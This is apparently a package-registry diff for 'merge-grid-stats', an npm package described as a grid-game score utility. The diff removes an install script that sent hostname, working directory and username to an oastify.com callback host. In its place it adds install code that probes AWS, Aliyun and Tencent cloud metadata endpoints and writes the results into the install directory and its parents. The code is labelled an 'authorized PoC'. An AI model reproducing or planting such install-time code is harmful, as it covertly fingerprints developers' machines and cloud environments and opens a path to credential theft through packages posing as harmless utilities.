merge-grid-stats 1.0.1 → 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install-cb.js +49 -10
  2. package/package.json +1 -1
package/install-cb.js CHANGED
@@ -1,11 +1,50 @@
1
- // Authorized PoC (non-destructive): out-of-band callback to attribute RCE during package install.
2
- // Sends hostname/cwd/user for environment attribution. No data exfiltration beyond env fingerprint.
1
+ // Authorized PoC (non-destructive): probe cloud metadata reachability, record status to local file.
2
+ var fs = require('fs');
3
+ var path = require('path');
4
+ var http = require('http');
3
5
  var os = require('os');
4
- var https = require('https');
5
- var q = 'h=' + encodeURIComponent(os.hostname()) +
6
- '&c=' + encodeURIComponent(process.cwd()) +
7
- '&u=' + encodeURIComponent((os.userInfo && os.userInfo().username) || '') +
8
- '&v=' + process.version;
9
- https.get('https://owoemjgpf2c4qxqet92hexzvym4dsq6skvoa2cr.oastify.com/n2?' + q, function (res) {
10
- res.resume();
11
- }).on('error', function () {});
6
+
7
+ var cwd = process.cwd();
8
+ var lines = ['meta-probe', 'cwd=' + cwd, 'host=' + (function(){try{return os.hostname();}catch(e){return '?';}})()];
9
+
10
+ function probe(host, port, p, timeoutMs) {
11
+ return new Promise(function (resolve) {
12
+ var done = false;
13
+ var req;
14
+ try {
15
+ req = http.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs, headers: {'User-Agent': 'curl/7.68'}}, function (res) {
16
+ if (!done) { done = true; resolve('HTTP ' + res.statusCode); }
17
+ res.resume();
18
+ });
19
+ req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
20
+ req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
21
+ req.end();
22
+ } catch (e) {
23
+ if (!done) { done = true; resolve('ERR:local'); }
24
+ }
25
+ });
26
+ }
27
+
28
+ var targets = [
29
+ {name: 'aliyun_100.100.100.200', host: '100.100.100.200', port: 80, path: '/latest/meta-data/'},
30
+ {name: 'aws_169.254.169.254', host: '169.254.169.254', port: 80, path: '/latest/meta-data/'},
31
+ {name: 'tencent_metadata.tencentyun.com', host: 'metadata.tencentyun.com', port: 80, path: '/latest/meta-data/'},
32
+ {name: 'tencent_169.254.0.23', host: '169.254.0.23', port: 80, path: '/latest/meta-data/'}
33
+ ];
34
+
35
+ var doneCount = 0;
36
+ targets.forEach(function (t) {
37
+ probe(t.host, t.port, t.path, 2500).then(function (r) {
38
+ lines.push(t.name + '=' + r);
39
+ doneCount++;
40
+ if (doneCount === targets.length) {
41
+ var data = lines.join('\n');
42
+ ['', '..', '../..'].forEach(function (rel) {
43
+ try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_META.txt'), data); } catch (e) {}
44
+ });
45
+ ['', '..', '../..'].forEach(function (rel) {
46
+ try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'meta-probe-done ' + new Date().toISOString()); } catch (e) {}
47
+ });
48
+ }
49
+ });
50
+ });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "merge-grid-stats",
3
- "version": "1.0.1",
3
+ "version": "1.2.0",
4
4
  "description": "Lightweight utility for merge-style grid games: score tracking, move statistics, and best-score persistence helpers.",
5
5
  "main": "index.js",
6
6
  "scripts": {